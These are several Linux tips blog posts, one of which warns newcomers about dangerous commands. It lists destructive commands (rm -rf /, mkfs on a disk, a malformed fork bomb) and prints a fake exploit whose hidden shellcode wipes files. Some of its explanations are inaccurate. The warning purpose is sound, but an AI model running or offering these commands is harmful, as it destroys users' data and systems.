Let me warn you first – these commands are not for newbies, those who just started using Linux or for those who want to start with Linux terminal.

#1 Browse and display images in Terminal

Browse and display images in Terminal? Yes! To browse the images in the current directory:
$ sudo zgv
To browse the images in /home/username/pictures directory:
$ sudo zgv /home/username/pictures

Note: If you get any mouse not initialized message, just unplug your mouse, type zgv and plug your mouse back

#2 Burn a CD/DVD/BluRay Disk

Llet’s add a small twist; make an ISO image of a large folder and burn them to a CD/DVD.
Crate an ISO image (myISOFile) out of a folder (or filename)
$ mkisofs –r –o myISOFile.ISO folderOrFilename
Now burn the above ISO image to a CD/DVD
$ cdrecord --device=cdwriter-device -tao -eject myISOFile.ISO

#3 Create ASCII text graphics

What about creating some ASCII graphics such as the following? You can paste it in your email as a signature to impress your friends

 _     _
| |   (_)_ __  _   ___  __
| |   | | '_ \| | | \ \/ /
| |___| | | | | |_| |>  <
|_____|_|_| |_|\__,_/_/\_\

$ figlet Linux
This is displayed with the default font, to use other fonts, give a font name after switch f:
$ figlet quick tweaks –f script

                      _                            _
             o       | |                          | |
 __,             __  | |    _|_          _   __,  | |   ,
/  |  |   |  |  /    |/_)    |  |  |  |_|/  /  |  |/_) / \_
\_/|_/ \_/|_/|_/\___/| \_/   |_/ \/ \/  |__/\_/|_/| \_/ \/
   |\
   |/    

$ figlet Quick Tweaks –f script

  _ \       _)      |    __ __|                   |
 |   | |   | |  __| |  /    |\ \  \   / _ \  _` | |  /  __|
 |   | |   | | (      <     | \ \  \ /  __/ (   |   < \__ \
 \__\_\\__,_|_|\___|_|\_\  _|  \_/\_/ \___|\__,_|_|\_\____/

The fonts for figlet are installed in /usr/share/figlet directory

#4 Run remote applications in full GUI mode

As a Computer Science student, I often need access my lab computers (which have Fedora installed) through SSH. After I submit my assignments, esp. those GUI based programming assignments, I wanted to check if everything is fine. Accessing remote computer is easy:
$ ssh username@example.com
If you want to run remote applications such as OpenOffice or Eclipse, just uncomment ForwardX11 yes in /etc/ssh/ssh_config file. After that if you type, eclipse, for an example, the remote application will run in full GUI mode.

#5 Split a large file into several pieces (for easy copy)

If you have a large file of about 1 GB size and have two CDs to spare (or two thumb drives of 512 MB each), how can you carry that 1GB file?
$ split –b500m myBigFile mySmallFIles.
To join the smaller files to get the big files back:
$ cat mySmallFiles.* > myBigFile

#6 Take screenshot of a rectangular area and save it as png file

Screenshot taken with import command

$ import –frame myScreenShot.png

After this command, the mouse pointer changes to a set of cross-hairs; left-click and drag the mouse across an area of the screen and release the mouse to capture the selected area.

#7 Resize an image, put a border around it, and add a comment

$mogrify -geometry 300x200 -border 8x8 -comment “Windows Sucks” myScreenShot.png

#8 Quickly converting a .wav file to a .mp3 file

$ lame myMusicFile.wav myMusicFile.mp3

#9 Display a nicely formatted calendar (or doing some quick maths?)

$ cal 1972

Get the factorial of 10

$ calc 10!

#10 Mirror a website to your computer for offline browsing

$ wget -mk http://example.com

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After switching to Ubuntu, I tried to install Oracle but no luck until I found this guide from Augusto Bott . He has really written an excellent guide on installing Oracle on different versions of Ubuntu. But again with this guide also the users need to open different files and edit them manually. It isn’t that much difficult but if you are like me who often needs to reinstall/upgrade Ubuntu for one reason or other, reading the whole guide and manually editing the system files is really time consuming and cumbersome. So, to save my time for future installation of Oracle database on my Ubuntu box, I wrote a couple of scripts (four scripts to be exact). Running these four scripts will install Oracle database and will give you a fresh database to start with. To facilitate visual-learners, I’ve also made two videos which have been embedded below. I will explain how to proceed briefly below:

1. Download all four scripts.and unzip them

2. Extract Oracle database downloaded from Oracle to a folder (such as in your home folder)

3. Open 2_OraInstaller.sh in a text editor and change the source/destination values. The default values assume that you have extracted the Oracle installer files in ~/oracle folder and you want to install Oracle db in /opt/oracle folder.

4. Open 4_OraInstaller.sh in a text editor and change the name of your database instance (dbSID). The default is oraIntrepid.

5. Fire up the Terminal and make all the files executable:

$chmod 755 ./1_OraInstaller.sh

$chmod 755 ./2_OraInstaller.sh

$chmod 755 ./3_OraInstaller.sh

$chmod 755 ./4_OraInstaller.sh

6. Make sure you have at least 3gb free space where you want to install your Oracle DB

7. Execute: $./1_OraInstaller.sh

You need to logoff and login once

8. Execute: $./2_OraInstaller.sh

This will install Oracle in silent mode. Please be patient as it will take some time and be very sure that YOU ARE CONNECTED TO THE INTERNET!!!

9. Execute: $./3_OraInstaller.sh

You need to restart you computer once at this point.

10. Execute: $./4_OraInstaller.sh

This will install Oracle database instance in silent mode. This will take about 15 mins so be very patient.

At this point your Oracle installation on your Ubuntu box is complete.

Here are two videos showing all the above steps:

Click here to view the embedded video.

Click here to view the embedded video.

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Who says Linux commands are just for geek people? And who says it is just a fun toy? Linux is simple yet productive, the only limitation is your imagination. Those who argue me with me for Linux being simple, here is a popular saying:

*NIX is basically a simple operating system, but you have to be a genius to understand the simplicity

In this post, we will talk about few commands and write a couple of scripts (don’t worry, it will be damn simple). Some guys might blame that these commands/ scripts have no use and might shout “why the hell do we need that.” Remember, these are just the tools. It’s upto you how well you use these tools for your tasks. Also remember, one who discovers the alternative uses of a tool is often called a Genious. Let’s get started:

1. Make Linux speak that he loves himself.

espeak "I Love Linux"

Now you should be asking why the hell I need that? Well, what about you have a document, or a story and someone in your family is blind, or can’t see nicely. You don’t have enough time reading the document for him/ her. Ask him to sit in front of a computer and run this: espeak < documentName

We have more to do with espeak, you can even output the file to a .wav file or a .ogg file so that you can record them in a CD and mail to someone you care!

Still not impressed? What about making it to read your email, or run it in the background so that it alerts you whenever a new mail arrives in your Inbox and then reads the sender’s name, and subject. Also, if you are little ambitious, you can even make it say the weather, if the weather changes drastically. I won’t discuss how to make it read your mails, or weather; I’m just talking about possibility. When I get some time, I’m thinking to write a script which reads my Gmails. Just keep coming back!

2. Making your own commands.

You have heard Linux is highly customizable. How about writing your own simple command. We will write a small script which allows you a convenient way to change the directories, actually to go back several levels up. Let’s suppose you are inside /home/yourhome/a/b/c/d/e/f/g/h/i/j directory. You want to change the directory (cd) to several levels up. You can easily do this with somthing like cd ../../../../.. But what about something as similar as up 3 which will take you 3 levels up

Fireup your favorite text editor and type the following (don’t be intimated by thinking that you are programming something, I will explain this script line by line, don’w worry!):

#!/bin/bash
LEVEL=$1
for ((i = 1; i <= LEVEL; i++))
do
CDIR=../$CDIR
done
cd $CDIR
echo "You are in: "$PWD
exec /bin/bash

Save the file as up and issue following two commands:

$ chmod 755 ./up

$ sudo cp up /usr/bin

Now, from your home directory try using this command:

$ up 2

Where are you at? At root directory! See how easy it was? Let’s see how our little script chef made pizza for us:

#! /bin/bash -> you are using bash script

LEVEL=$1 -> $1 is the first parameter passed to this script assigned to LEVEL

for ((i = 1; i <= LEVEL; i++)) -> for some times (upto LEVEL)…
do -> …we will go round…
CDIR=../$CDIR -> …creating our path and assigning it to CDIR and…
done -> …when we are done…
cd $CDIR -> …we will change our directory to the path we have created above and…
echo "You are in: "$PWD -> …we will let you know where you are and finally…
exec /bin/bash -> …we are done so let’s get a new shell

That’s was not to easy but wasn’t too hard either. It is not too hard to ease your repetitive tasks with a single file and increase your productivity.

Let’s make another little script…

3. What do you usually do changing a directory? List it contents right? How about this little script?

#!/bin/bash

cd $1

ls

exec /bin/bash

That’s it! Save it as cdls or something like that and then issue this command:
$ chmod 755 & sudo cp cdls /usr/bin

For Ubuntu users, if you want a script that keeps track of all your “apt-get” activities by posting them to your Twitter account, try this little handy script.

4. One more thing about cd. Which is the fastest and easiest cd command that take you to your home directory? cd /home/yourhome ? cd ~ ? cd itself!

$ cd

It takes you to your home directory

5. Tired of typing clear to clear your screen? Press ctrl + l

That’s it for today. Happy Halloween!

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Tomorrow, October 28, will be a day of joy for the Linux users who are looking to run some of the Windows Applications with Wine. Don’t forget to visit Codeweaver’s home page at least once tomorrow as they will give you a deal code which will allow you to download and use Crossover for free for your whole life. This will be a full version and will come with technical support. Did you bookmarked the site?

BTW, don’t forget to thanks George Bush for this. An excerpt from their press release:

“I launched the campaign to inspire President Bush to make the most of his final days in office. Who knew that our Challenge would have this kind of impact on the country?” White said. “On the other hand, who knew that the economy would implode, causing oil demand to drop into the abyss and gas prices to plummet as well. Clearly, investigating Bear Stearns, AIG and those guys is misplaced – CodeWeavers is responsible for this mess. So it’s free software for all!”

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The heading is self-explanatory. Linux Terminal seems dump but nothing is more clever than it. Linux is powerful and fun. When it is about something’s strength remember what Uncle Ben said.

When you are new to Linux you often seek to get help from others and almost most of the advices you get will be in the form of some commands such as ps, top, modprobe, lspci etc. Be careful when you run these commands as some Anti-Linux a**holes try to fool new Linux users in the name of tips and tutorials.If after following such command(s), you lose all your files, no one is to be blamed but you.

If you want save yourself, here is one principle: Be aware of what you are doing! Just don’t do what someone suggest you. Fireup man page, look what the command is about. This way you can learn a couple of more options too. If you are in doubt about the commands, go to a couple of forums and put all information you have such as: Hello I was trying to do this, and a guy from forum.xyz.com suggest me to issue this command. I suspect this is a harmful command. Any suggestions? Take my words, Linux carries a strong spirit with it – spirit to share knowledge. And you will get some good explanatory suggestions very quickly. If you are still in doubt, I suggest you to issue the commands inside virtual OS:

Last thing first. Today I will be posting some harmful Linux commands. DO NOT ISSUE THESE COMMANDS! These commands are just for your information. These commands are not made for making harm to your computer, but with a couple of options it can be very dangerous. After all Linux doesn’t know that a folder inside your home directory contains your first girlfriend’s picture! It is your duty to ensure they are safe. Let’s get started. I repeat DON’T ISSUE THESE COMMANDS. If you want to test, I suggest you to run them inside a virtual Linux OS.

1. The king of all devils:

rm -rf /

Q. What does rm do?

A. Removes a file

Q. What is r?

A. Recursion. That means inside a folder, of a folder, of a folder and so on

Q. what is f?

A. Force. It means you are saying to the command “Never ask me anything. Just do what you want to do”

Q. What is /

A. Your ROOT directory!

See what it does? Recursively removes all the files inside your root directory without nagging you – “Should I delete this?”

There are various versions of rm available such as:

rm -rf .
rm -rf *

Not only someone from outside, you yourself can screw up things sometimes. Little knowledge is dangerous! How about this – you want to delete all the hidden files inside a directory. That’s easy right? Hidden files are denoted with . in front so you might be thinking this command rm - .* Nooooooooooo!!! It will delete all the files one level up of the current directory.

2. How about backing up your home directory or some folders? Never try to do anything such as:

mv /home/yourhomedirectory/* /dev/null

Q. What is mv?

A. Move files

Q. What is dev/null?

A. Null means nothing. In other words, it is a black-hole.

If you issue above command, it will move all the files inside your home directory to a blackhole.

3. Linux Terminal is not a toy to play, it’s something to learn and do some productive things. I just mean to warn you don’t type anything silly and hit enter such as this:

){:|:&};:

Those seem like emoticons but they are actually shell programming stuffs and have special meaning. The above command executes different process freezing your computer and you will get a BSOD, a sort of!

4. How about making a Linux filesystem?

mkfs.ext3 /dev/sda

You hard disk’s data are gone, and will never come back again. That was a poor farewell party for your documents.

5. Do you know eyes and your knowledge both can lie? Well sometimes. What do you see in the following C file written by someone claiming New sudo off-by-one poc exploit? Any sign of devil?

...

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

…

Well this is a hex coded version of rm -rf ~ / & . This does nothing more than wiping off your home directory.

These are only a few guidelines you need to follow. If you know some more, drop them in comments.

If you want to learn Linux, conquer its power, have fun, and be productive, you need to be careful, helpful, and share your knowledge. If you have any knowledge on Linux that you want to share, let us know in comments or shoot me an email.

So what did you learn today?

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1. Boot from you Ubuntu 8.10 live CD.

2. Plug in your pen drive, open a Terminal and issue following commands:

$ wget pendrivelinux.com/downloads/u810/u810.sh

$ chmod +x u810.sh && sh u810.sh

3. Follow the online instructions and reboot your system, change the BIOS setting so that your system boots up from a USB drive.

That’s it!

For complete step-by-step instructions and buy them a cup of coffee, visit pendrivelinux.com

[via: http://www.pendrivelinux.com/2008/10/15/ubuntu-810-persistent-flash-drive-install-from-live-cd/]

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From now onwards I will be posting 5 Linux commands weekly and mostly targeted to Linux newbies or to those who are not much comfortable with Linux commands. This post will serve two purposes: to learn Linux commands in a fun way without putting so much load on your memory power (that’s why I will post only five commands), and to realize the power of wonderful Linux commands. You might be already familiar with some of the commands and you might be hearing some of the commands for the first time; some of the commands might be very useful and some might be just for fun. This post will appear on Fridays so that you can have some ‘useful’ fun on weekends. If you know any Linux commands which are fun/crappy/useful/dangerous, don’t forget to share with us. Just drop them in comments or shoot me an email.

1. Want your computer speak the current time?

$ saytime

This command says the current system in a male voice. You can even record your own voice. Just have a look at /user/share/saytime where all the sound files are stored. If you are ambitious, you can write a shell script to set up an alarm which will say the time.

2. Toggle between directories

$ cd -

If you are working in two directories, this command comes very handy. It toggles between the current directory and the last directory you were in.

3. Repeat the last executed command

$ !!

When is this useful? If you are writing a shell script and want to execute a command twice. Another case where it comes handy is you forgot to add something in front of a long command such as apt-get install foo foo1 foo2 foo3 foo4 foo5. You need to execute apt-get command as sudo. To execute this command again with sudo, issue:

$ sudo !!

4. Which Linux kernel are you using?

$ uname -a

5. Where are you at?

$ pwd

I hope this was fun and/or helpful. Try them a couple of times, then take a long breathe, and feel comfortable. You learned five Linux commands today this week. Keep coming back to become a Linux Terminal Guru!

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